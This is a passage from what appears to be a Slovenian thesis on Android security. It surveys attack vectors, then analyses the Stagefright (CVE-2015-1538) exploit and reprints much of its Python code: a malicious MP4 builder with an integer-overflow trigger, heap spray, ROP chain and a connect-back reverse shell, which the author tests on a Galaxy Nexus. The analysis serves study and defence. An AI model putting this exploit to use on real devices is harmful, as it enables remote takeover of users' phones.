povezuje tudi z drugimi komunikacijskimi cˇipi, kot sta: Wi-Fi in Bluetooth,
ter s tem napadalcu odpira nove poti.
2.4.9 Datotecˇni sistem
Datotecˇni sistem je zasˇcˇiten z dovoljenji. V primeru nepravilne konfiguracije
dovoljenj ima napadalec omogocˇen dostop do nekaterih datotek. Zanimive
tarcˇe so npr. nezasˇcˇiteni sistemski klici, vticˇnice, povezovalnikov gonilnik,
skupni spomin, ali vmesnik mobilnega omrezˇja.
2.4.10 Fizicˇne povrsˇine
Fizicˇne povrsˇine zahtevajo fizicˇni dostop, ter primerno orodje in znanje. Raz-
stavljanje naprave jo najverjetneje unicˇi.
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Razstavljanje
Ob odprtju naprave dobi napadalec dostop do integriranih vezij in nezasˇcˇitenih
serijskih ter JTAG razhrosˇcˇevalnih vrat, prek njih pa do celotnega sistema.
V primeru, da ne dobi dostopa do nezasˇcˇitenih vrat, lahko odstrani flash
pomnilnik in ga enostavno prebere v primeru, ko le-ta ni kriptiran.
USB
Android Debug Bridge omogocˇa uporabniku popoln dostop do ukazne lupine
na mobilni napravi. Verzije pred 4.2.2 ne zahtevajo nobene avtentikacije
za vzpostavitev povezave, verzije med 4.2.2 in 4.4.2 pa omogocˇajo dostop,
cˇe ima uporabnik vklopljen USB Debugging, vendar se zaradi ranljivosti da
zaobiti avtorizacijo [22].
2.5 Smer napada
Smer napada je akcija, ki jo napadalec izvede, da pridobi dostop do sistema,
npr.: posˇlje e-posˇto, se povezˇe na omrezˇni vmesnik ipd.
2.5.1 Ponovno pakiranje
Napadalci izberejo znano aplikacijo, jo s pomocˇjo vzvratnega inzˇeniringa ana-
lizirajo in vanjo dodajo svojo sˇkodljivo kodo. Tako aplikacijo nato objavijo
na tako imenovanih ’3rd party’ spletnih trgovinah, od koder jo uporabniki
namestijo. Obstaja veliko odprtokodnih in komercialnih orodij za vzvratni
inzˇeniring, nekatera od njih so: baksmali, apktool, dex2jar, JEB, itd. Zasˇcˇita
pred vzvratnim inzˇeniringom je uporaba zakrivanja kode.
2.5.2 Pridobitev upravljalnih dovoljenj
Uporabnik uradne verzije Androida nima administratorskega dostopa in po-
sledicˇno dolocˇenih stvari ne more spreminjati. Tisti, ki zˇelijo odstraniti to-
varniˇsko namesˇcˇene aplikacije, uporabljati deljenje brezzˇicˇnega dostopa (ang.
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wifi tethering) ali iz kakrsˇnegakoli drugega razloga zˇelijo popoln dostop do sis-
tema, se odlocˇajo za pridobitev korenskega dostopa do telefona. Prvi korak v
takem postopku je odklepanje zagonskega nalagalnika, ki izbriˇse uporabniˇske
podatke in omogocˇi nalaganje poljubnih sistemskih slik. Odklepanje nalagal-
nika je odvisen od znamke – dolocˇeni proizvajalci imajo omogocˇeno odkle-
panje, dolocˇeni pa ne. Cˇe proizvajalec ne omogocˇa odklepanja, je korenjenje
mozˇno z izkoriˇscˇanjem znanih ranljivosti. Ko imamo odklenjen nalagalnik,
lahko v sistemsko sliko dodamo binarno kodo za ukaz su in sliko nalozˇimo
na napravo, s tem pa smo pridobili skrbniˇski nadzor.
Problematika korenjenja je, da se ob tem ogrozi varnost sistema, saj v
takem primeru aplikacije lahko dobijo skrbniˇski dostop in prevzamejo nadzor
nad napravo. Poleg lastnikov naprav pa lahko varnostne luknje, ki omogocˇajo
skrbniˇski dostop, izkoristijo tudi sˇkodljivi programi.
2.5.3 ROP
Return Oriented programiranje (ROP) je nacˇin napada, s katerim napdalec
lahko zaobide zasˇcˇito pred izvajanjem kode, nalozˇene na sklad (stack). Z rabo
ROP-a zazˇenemo program, ne da bi dejansko svojo kodo nalozˇili v pomnilnik.
Namesto tega kodo sestavimo iz majhnih delcˇkov, imenovanih Gadget, ki jih
klicˇemo iz kode, nalozˇene v pomnilnik.
2.5.4 Memory corruption
Sklad sluzˇi za shranjevanje kode in lokalnih spremenljivk. Cˇe funkcija, ki
bere vhodne podatke, ne preverja njihove dolzˇine, potem se vrednost izrav-
nalnika prepiˇse cˇez polje, namenjeno za spremenljivke, in cˇez del naslednjega
polja v skladu. Cˇe je na zacˇetku koda, potem prepiˇse kodo. Ko pride pro-
gramski sˇtevec do lokacije, se namesto prvotne kode uporabi tisto, kar je bilo
zapisano v vhodnem izravnalniku, ki ga kontrolira napadalec. Android sicer
vsebuje tehnike za zasˇcˇito sklada, vendar so specificˇni posamezni napadi sˇe
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vedno mogocˇi.
Globalne spremenljivke se shranijo na kopico (ang. Heap). Le-ta ni sproti
avtomatsko ocˇiˇscˇena, zato lahko prihaja do rabe po izbrisu (ang. use after
free), – posledica tega pa je uporaba ”izbrisanih”podatkov. V dolocˇenih




Stagefright ranljivost je odkril Zimperiumov raziskovalec Joshua J. Drake
aprila 2015 in o njej porocˇal Googlu. Javno je bila objavljena 27.7.2015,
programska koda, ki izkoriˇscˇa ranljivost, pa avgusta 2015. Ranljivost je bila
odpravljena v verziji 5.1.1, objavljeni aprila 2015 ter v varnostnih popravkih,
objavljenih v avgustu. Ranljivost ima dodeljeno oznako CVE-2015-1538 ozi-
roma hrosˇcˇ 20139950. Tip ranljivosti je izvajanje poljubne kode na daljavo
(ang. remote code execution). V nadaljevanju bom podrobno analizirala
delovanje Drakove kode [27].
3.1 Vzrok
Vzrok za ranljivost je preliv celega sˇtevila (ang. integer overflow) v knjizˇnici
libstagefright, ki sluzˇi za procesiranje multimedijskih vsebin. V razredu
libstagefright/SampleTable.cpp se ne preverja, cˇe je spremenljivka
mNumSampleToChunkOffsets prekoracˇila maksimalno vrednost in je priˇslo do
preliva (ang. integer overflow). Resˇitev je preverjanje, ali je velikost spre-
menljivke smiselna.
if (SIZE_MAX/sizeof(SampleToChunkEntry) <= mNumSampleToChunkOffsets)
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# The address of a fake StrongPointer object (sprayed)
sp_addr = 0x41d00010 # takju @ imm76i { 2MB (via hangouts)
# The address to of our ROP pivot
newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs




parser.add_argument(’-p’, ’-connectback-port’, dest=’cbport’, type=int,
default=12345)








if len(sys.argv) == 1:
parser.print_help()
sys.exit(-1)
if args.spray_addr == None:
args.spray_addr = sp_addr
if args.rop_pivot == None:
args.rop_pivot = newpc_val
# Build the MP4 file...
data = mp4.create_mp4(args.spray_addr, args.rop_pivot,
args.cbhost, args.cbport)
print(’[*] Saving crafted MP4 to %s ...’ % args.output_file)
write_file(args.output_file, data)
Glavni del kode (main) preveri argumente in nastavi prednastavljene vre-
dnosti, cˇe argumentov ni. Mozˇni argumenti so: spray address, rop pivot,
host, port, output file. Host in port povesta, kam se bo zˇrtvina naprava
povezala. Spray address je odvisen od ciljne naprave in verzije sistema na
njej. V tem primeru je ciljna naprava Galaxy Nexus z Androidom 4.04.
V nadaljevanju glavnega dela kode se klicˇe funkcija create mp4() in
write file().
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
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chunks = []
# Build the MP4 header...
ftyp = ’mp42’




# Note, this causes a few allocations...
moov_data = ’’
moov_data += make_chunk(’mvhd’,
struct.pack(’>LL’, 0, 0x41414141) +
(’B’ * 0x5c) )







Najprej zapiˇsemo glavo datoteke mp4. mp42 nam pove, da je bil upora-
bljen standard ISO 14496-1 ver. 2., ki se drzˇi vse specifikacije, zapisane v
standardu (verzija 1 ne uporablja opisa). isom je splosˇen tip, kompatibilen
z vsemi specificˇnimi lastniˇskimi tipi (npr. Quicktime, 3gp, Apple AAC).
struct.pack zakodira informacije v binarno obliko. Znak  pomeni, da
uporablja nacˇin big endian.
Nato klicˇe make chunk funkcijo.
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# Creates a single MP4 atom { LEN, TAG, DATA
def make_chunk(tag, data):
if len(tag) != 4:
raise ’Yo! They call it \FourCC’’ for a reason.’




Za argumente sprejme oznako (tag) in podatke (data). Funkcija poskrbi,
da so podatki zapisani s pravilno poravnavo in jih nato zapakira v binarno
obliko.
V vrstici 197-199 se v moov data shrani insˇtrukcija adcs r1,r0 + 17b8.
V vrstici 202-207 klicˇemo funkcije: make stsc, make stco, make stsz,
make stts. Njihov odgovor se zapakira v binarno obliko in shrani v moov data.
Najprej sledi klic funkcije make stsc(0x28, 0x28).
def make_stsc(num_alloc, num_write, sp_addr=0x42424242,
do_overflow = False):
ret = struct.pack(’>L’, 0) # version/flags
# this is the clean version...
if not do_overflow:
ret += struct.pack(’>L’, num_alloc) # mNumSampleToChunkOffsets
ret += ’Z’ * (12 * num_alloc)
return make_chunk(’stsc’, ret)
# now the explicit version. (trigger the bug)
ret += struct.pack(’>L’, 0xc0000000 + num_alloc)
# mNumSampleToChunkOffsets
# fill in the entries that will overflow the buffer
for x in range(0, num_write):
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ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
ret = make_chunk(’stsc’, ret)
# patch the data_size
ret = struct.pack(’>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]
return ret
Funkcija sprejema argumente: num alloc, num write, sp addr, do overflow.
Prva dva argumenta sta obvezna, druga dva imata prednastavljene vredno-
sti: sp addr = 0x42424242 in do overflow = false. Ta funkcija sprozˇi
preplavitev kopice (ang. heap overflow).
Cˇe je zastavica do overflow postavljena na true, potem funkcija vrne
strukturo, ki bo preplavila pomnilnik. Vsebina te strukture so razprsˇilni
naslovi (ang. spray addresses), ki kazˇejo na zacˇetek kode, ki bo dejansko
izvedla napadalcˇevo akcijo.
Za tvorbo te strukture klicˇe funkcijo make stsc entry.
def make_stsc_entry(start, per, desc):
ret = ’’
ret += struct.pack(’>L’, start + 1)
ret += struct.pack(’>L’, per)
ret += struct.pack(’>L’, desc)
return ret
Ta funkcija zgolj zapakira razprsˇilni naslov v binarno obliko in ga vrne
klicatelju.
Nato make stsc klicatelju, v tem primeru create mp4, vrne binarno
strukturo. Zatem klicˇemo funkcijo make stco.
def make_stco(extra=’’):
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ret = struct.pack(’>L’, 0) # version
ret += struct.pack(’>L’, 0) # mNumChunkOffsets
return make_chunk(’stco’, ret+extra)
Tu se zgolj doda verzija in odmiki, ki se zapakirajo v binarno obliko in vrnejo
klicatelju.
Zatem se iz funkcije create mp4 klicˇe funkcija make stsz.
def make_stsz(extra=’’):
ret = struct.pack(’>L’, 0) # version
ret += struct.pack(’>L’, 0) # mDefaultSampleSize
ret += struct.pack(’>L’, 0) # mNumSampleSizes
return make_chunk(’stsz’, ret+extra)
V tej funkciji so dodani: verzija, velikost vzorca in sˇtevilo vzorcev, kar se
zapakira v binarno obliko in vrne klicatelju.
V klicˇocˇi funkciji create mp4 se nato klicˇe funkcija make stts.
def make_stts():
ret = struct.pack(’>L’, 0) # version
ret += struct.pack(’>L’, 0) # mTimeToSampleCount
return make_chunk(’stts’, ret)
Funkcija doda cˇasovno komponento, jo skupaj z verzijo zapakira v binarno
obliko in vrne klicatelju.
V create mp4 funkciji se potem odgovori vseh sˇtirih funkcij zdruzˇijo in
shranijo v skupen objekt.
# Spray the heap using a large tx3g chunk (can contain binary data!)
"""
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:











blx 0x40069884 ; atomic_decrement
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:




ldr r0, [r4, #8] ; load refs->mBase
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:
ldr r1, [r0, #0] ; load mBase._vptr
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:




blx r2 ; call it!
"""
Nato se zapiˇse: tx3g objekt, ki je namenjen podnapisom, vendar je izkoriˇscˇen
za zapis kode v binarni obliki na kopico, da jo lahko pozneje klicˇemo z
razprsˇilnega naslova.
page = ’’
off = 0 # the offset to the next object
off += 8
page += struct.pack(’<L’, sp_addr + 8 + 16 + 8 + 12 - 28)
# _vptr.RefBase (for when we smash mDataSource)
page += struct.pack(’<L’, sp_addr + off) # mRefs
3.2. ANALIZA KODE 33
off += 16
page += struct.pack(’<L’, 1) # mStrong
page += struct.pack(’<L’, 0xc0dedbad) # mWeak
page += struct.pack(’<L’, sp_addr + off) # mBase
page += struct.pack(’<L’, 16)
# mFlags (dont set OBJECT_LIFETIME_MASK)
off += 8
page += struct.pack(’<L’, sp_addr + off)
# the mBase _vptr.RefBase
page += struct.pack(’<L’, 0xf00dbabe) # mBase.mRefs (unused)
off += 16
page += struct.pack(’<L’, 0xc0de0000 + 0x00) # vtable entry 0
page += struct.pack(’<L’, 0xc0de0000 + 0x04) # vtable entry 4
page += struct.pack(’<L’, 0xc0de0000 + 0x08) # vtable entry 8
page += struct.pack(’<L’, newpc_val) # vtable entry 12
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
V tem delu so shranjeni naslovi, ki se pozneje uporabijo pri ROP napadu.
Zatem se klicˇe funkcija build rop.
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
rop = ’’
rop += struct.pack(’<L’, sp_addr + off + 0x10)
# new sp
rop += struct.pack(’<L’, 0xb0002a98)
# new lr { pop {pc}
rop += struct.pack(’<L’, 0xb00038b2+1)
# new pc: pop {r0, r1, r2, r3, r4, pc}
rop += struct.pack(’<L’, sp_addr & 0xfffff000)
# new r0 { base address (page aligned)
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rop += struct.pack(’<L’, 0x1000)
# new r1 { length
rop += struct.pack(’<L’, 7)
# new r2 { protection
rop += struct.pack(’<L’, 0xd000d003)
# new r3 { scratch
rop += struct.pack(’<L’, 0xd000d004)
# new r4 { scratch
rop += struct.pack(’<L’, 0xb0001144)
# new pc { _dl_mprotect
Najprej se v registre shrani zacˇetni naslov, dolzˇina in zasˇcˇita, nato se
shrani naslov binarne kode.
native_start = sp_addr + 0x80
rop += struct.pack(’<L’, native_start)
# address of native payload
#rop += struct.pack(’<L’, 0xfeedfed5) # top of stack...












# setsid in child
buf += ’\x42\x70\xa0\xe3’

















V naslednjem delu je koda, s katero dejansko izvedemo napad. Proces
podvoji(f ork), ustvari vticˇnico, jo povezˇe na napadalcˇev naslov IP in vrata
ter zazˇene ukazno vrstico.
# Add the connect back host/port
buf += struct.pack(’!H’, cb_port)
cb_host = socket.inet_aton(cb_host)
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# Add some identifiable stuff, just in case something goes awry...
rop_start_off = 0x34
x = rop_start_off + len(rop)
while len(rop) < 0x80 - rop_start_off:
rop += struct.pack(’<L’, 0xf0f00000+x)
x += 4
# Add the native payload...
rop += buf
return rop
V tem delu se doda skok na naslednjo vrstico, dokler ne pridemo do naslova,
na katerem je koda, ki bo odprla povezavo do napadalca (iz prejˇsnje slike).
Celotna binarna koda se nato vrne klicatelju funkcije.
x = len(page)
while len(page) < 4096:
page += struct.pack(’<L’, 0xf0f00000+x)
x += 4
off = 0x34
page = page[:off] + rop + page[off+len(rop):]
spray = page * (((2*1024*1024) / len(page)) - 20)
moov_data += make_chunk(’tx3g’, spray)
block = ’A’ * 0x1c
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make_chunk(’cpil’, make_chunk(’data’, struct.pack(
’>LL’, 21, 0) + ’A’)) +
make_chunk(’trkn’, make_chunk(’data’, struct.pack
(’>LL’, 0, 0) + ’AAAABBBB’)) +
make_chunk(’disk’, make_chunk(’data’, struct.pack(
’>LL’, 0, 0) + ’AAAABB’)) +
make_chunk(’covr’, make_chunk(’data’, struct.pack(
’>LL’, 0, 0) + block)) * 32 +
make_chunk(’\xa9alb’, make_chunk(’data’, struct.pack(
’>LL’, 0, 0) + block)) +
make_chunk(’\xa9ART’, make_chunk(’data’, struct.pack(
’>LL’, 0, 0) + block)) +
make_chunk(’aART’, make_chunk(’data’, struct.pack(
’>LL’, 0, 0) + block)) +
make_chunk(’\xa9day’, make_chunk(’data’, struct.pack(
’>LL’, 0, 0) + block)) +
make_chunk(’\xa9nam’, make_chunk(’data’, struct.pack(
’>LL’, 0, 0) + block)) +
make_chunk(’\xa9wrt’, make_chunk(’data’, struct.pack(
’>LL’, 0, 0) + block)) +
make_chunk(’gnre’, make_chunk(’data’, struct.pack(
’>LL’, 1, 0) + block)) +
make_chunk(’covr’, make_chunk(’data’, struct.pack(
’>LL’, 0, 0) + block)) * 32 +
make_chunk(’\xa9ART’, make_chunk(’data’, struct.pack(
’>LL’, 0, 0) + bigger)) +
make_chunk(’\xa9wrt’, make_chunk(’data’, struct.pack(
’>LL’,0, 0) + bigger)) +
make_chunk(’\xa9day’, make_chunk(’data’, struct.pack(
’>LL’,0, 0) + bigger)))
)
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Shrani se vrnjeni ROP-objekt in seznam insˇtrukcij, klicanih z njega, kot
vidimo v vrsticah 258-272.
# Make the nasty trak
tkhd1 = ’’.join([
’\x00’, # version
’D’ * 3, # padding
’E’ * (5*4), # {c,m}time, id, ??, duration










Nato se zapiˇse glava datoteke.
trak1 = ’’
trak1 += make_chunk(’tkhd’, tkhd1)
mdhd1 = ’’.join([
’\x00’, # version
’D’ * 0x17, # padding
])
mdia1 = ’’
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mdia1 += make_chunk(’mdhd’, mdhd1)
mdia1 += make_chunk(’hdlr’, ’F’ * 0x3a)
dinf1 = ’’
dinf1 += make_chunk(’dref’, ’H’ * 0x14)
minf1 = ’’
minf1 += make_chunk(’smhd’, ’G’ * 0x08)
minf1 += make_chunk(’dinf’, dinf1)
V zadnjem delu se vsi kosi datoteke sestavijo in vrnejo klicatelju.
# Build the nasty sample table to trigger the vulnerability here.
stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True)
# TRIGGER
# Add the stbl to the minf chunk
minf1 += make_chunk(’stbl’, stbl1)
# Add the minf to the mdia chunk
mdia1 += make_chunk(’minf’, minf1)
# Add the mdia to the track
trak1 += make_chunk(’mdia’, mdia1)
# Add the nasty track to the moov data
moov_data += make_chunk(’trak’, trak1)
# Finalize the moov chunk
moov = make_chunk(’moov’, moov_data)
chunks.append(moov)
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# Combine outer chunks together and voila.
data = ’’.join(chunks)
return data




Napad sem izvedla na telefonu Galaxy Nexus, ki poganja Android 4.04. Na
racˇunalniku sem pognala zgoraj opisano kodo, rezultat katere je mp4 dato-
teka. Kot argument sem podala IP naslov svojega racˇunalnika ter poljubna
vrata. Na specifiranih vratih sem nato nastavila poslusˇatelja. Video datoteko
sem potem poslala na telefon, kjer sem jo odprla s predvajalnikom videa.
Slika 3.1: video na telefonu
Aplikacija za predvajanje se je sesula.
Na racˇunalniku sem lahko opazila povezavo na vrata, ki sem jih specifi-
cirala.
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Slika 3.2: crash
Slika 3.3: Povezava na specificirana vrata
Poglavje 4
Obramba pred napadi
V ekosistemu Android sodelujejo sˇtevilni akterji: Google kot lastnik opera-
cijskega sistema, proizvajalci naprav, ki sistem prilagajajo in nalagajo na
svoje naprave, operaterji, uporabniki, ponudniki aplikacij in drugi. Vsak od
njih lahko prispeva svoj del k boljˇsi varnosti sistema. Opisala bom nekaj
predlogov.
4.1 Googlova vloga
Pri zasnovi Androida so se osredotocˇili na odprtost in niso dajali tako velikega
poudarka na varnost sistema. Zaradi tega posodabljanje in nadgrajevanje
operacijskega sistema ni enostaven proces. V idealnem primeru bi bil sistem
zasnovan tako, da bi bili varnostni popravki dostavljeni neposredno uporab-
nikom brez potreb po posredovanju proizvajalcev mobilnih naprav in opera-
terjev. Od avgusta 2015 dalje Google objavlja mesecˇne varnostne popravke
za Nexus naprave. LG, Samsung, Blackberry in Sony so se tudi zavezali
k zagotavljanju varnostnih popravkov po javni objavi Stagefright ranljivo-
sti, vendar brez jasnih zagotovil, katerim napravam, kako dolgo ter koliko
pogosto. Google bi moral od proizvajalcev zahtevati redno vkljucˇevanje var-
nostnih popravkov, podobno kot ima minimalne zahteve glede strojne opreme
za naprave, na katere proizvajalec zˇeli nalozˇiti operacijski sistem.
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Cˇe bi Google spremenil sistem, tako da bi varnostne aplikacije lahko imele
korenski dostop, bi jim s tem omogocˇil ucˇinkovitejˇse delovanje. V trenutnem
sistemu se aplikacije varnostno pregledajo pred objavo v Google Trgovini
ter rutinsko z Verify Apps servisom. V primeru, da se omogocˇi korenski
dostop varnostnim aplikacijam drugih proizvajalcev, se razsˇiri konkurencˇnost
ponudbe.
4.2 Proizvajalcˇeva vloga
Proizvajalci dobijo varnostne popravke od Googla in jih morajo vkljucˇiti v
svoje razlicˇice Androida. Bolj kot so prilagodili sistem svojim napravam,
vecˇ prilagoditev morajo izvesti. Najbolje bi bilo, cˇe bi bile prilagoditve take
vrste, da ne bi ovirale varstvenih popravkov, in bi se ti lahko direktno vkljucˇili
v sistem.
4.3 Vloga varnostnih podjetij
Za ucˇinkovitost delovanja antivirusne aplikacije potrebujejo korenski dostop,
sicer jih ovira peskovnik. V trenutnem sistemu predstavlja argument proti
rabi antivirusnih resˇitev na mobilnih napravah ugotovitev, da na omejenih
sredstvih ne morejo biti bolj ucˇinkovite od varnostnega pregleda, ki ga izvede
Google Varnostnik pred objavo z veliko bolj obsezˇnimi sredstvi. Delno je
to sicer res, vendar je pregled Google Varnostnika cˇasovno omejen, cˇesar
se posluzˇujejo mnogi sˇkodljivi programi tako, da sˇkodljivo kodo nalozˇijo s
cˇasovno zakasnitvijo. Ker antivirusne aplikacije na telefonu tecˇejo ves cˇas, bi
taksˇne poskuse lahko zaznale in ustavile.
4.4 Vloga uporabnika
Najˇsibkejˇsi cˇlen je vedno uporabnik. – Zakaj bi se napadalec ukvarjal s
cˇasovno zamudnimi in kompleksnimi tehnolosˇkimi triki, cˇe lahko zˇrtvi pre-
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prosto podtakne povezavo, video ali aplikacijo, ki jo zˇrtev naivno klikne,
namesti in ji odobri vsa dovoljenja?! – Google lahko uvede zelo napredna in
kompleksna preverjanja aplikacij pred objavo v Google Trgovini, vndar pa je
v primeru cˇe uporabnik potem namesˇcˇa aplikacije iz drugih virov, vse zaman.
Tudi cˇe so varnostne aplikacije zelo napredne in zmogljive, nicˇ ne pomaga,
cˇe jih uporabnik ne namesti.
En najpomembnejˇsih delov izboljˇsanja stanja varnosti v operacijskem sis-
temu Android je izobrazˇevanje, ozavesˇcˇanje in spreminjanje navad uporabni-
kov.
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Poglavje 5
Sklepne ugotovitve
Operacijski sistem Android ni zasnovan z varnostjo v mislih, temvecˇ s po-
udarkom na odprtosti (”We cannot guarantee that Android is designed to
be safe, the format was designed to give more freedom.”– Sundar Pichai).
Posledicˇno ima veliko varnostnih pomanjkljivosti, ki pa se z novimi verzijami
krpajo, dodajajo pa se tudi novi varnostni mehanizmi. Napredek od zacˇetkov
do trenutne verzije 6.0 je zelo velik.
Kljub temu da je veliko javno objavljenih ranljivosti, je vecˇina opisana zgolj
na zelo abstraktnem nivoju in so objavljene zgolj minimalne informacije, ki
ne zadosˇcˇajo, da bi ranljivosti lahko izkoristili. Za dolocˇene ranljivosti so
obljavljene kode, ki dokazujejo ranljivosti (t. i. ’proof of concept’). Le-te so
vecˇinoma obljavljene zgolj v binarni obliki, dolocˇene pa so obljavljene tudi v
berljivi obliki. Dodatna ovira, na katero sem naletela, je ta, da so objavljene
kode prilagojene zgolj za tocˇno dolocˇene modele telefonov s tocˇno dolocˇeno
verzijo sistema. Za prilagoditev je potrebno precej dobro poznavanje sistema
in znanje reverznega inzˇiniringa ter analize pomnilnika. Moj sklep je, da
(kljub zloglasnosti sistema) izkoriˇscˇanje znanih ranljivosti z lastno kodo ni
enostavno in zahteva veliko spretnosti.
V diplomi sem analizirala sistem in eno od najbolj zloglasnih ranljivosti:
Stagefright. Za nadaljnje delo ostaja prilagoditev kode za splosˇno rabo in ne
zgolj na testiranem modelu – taka kode, da bo napad ucˇinkovit tudi pri no-
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vejˇsih razlicˇicah z randomizacijo pomnilnika (ASLR) ter prilagoditev analize
in prilagoditev drugih napadov, na primer: CVE-2016-0846, CVE-2015-3864,
Methaphor in novejˇsih, kot je Godless.
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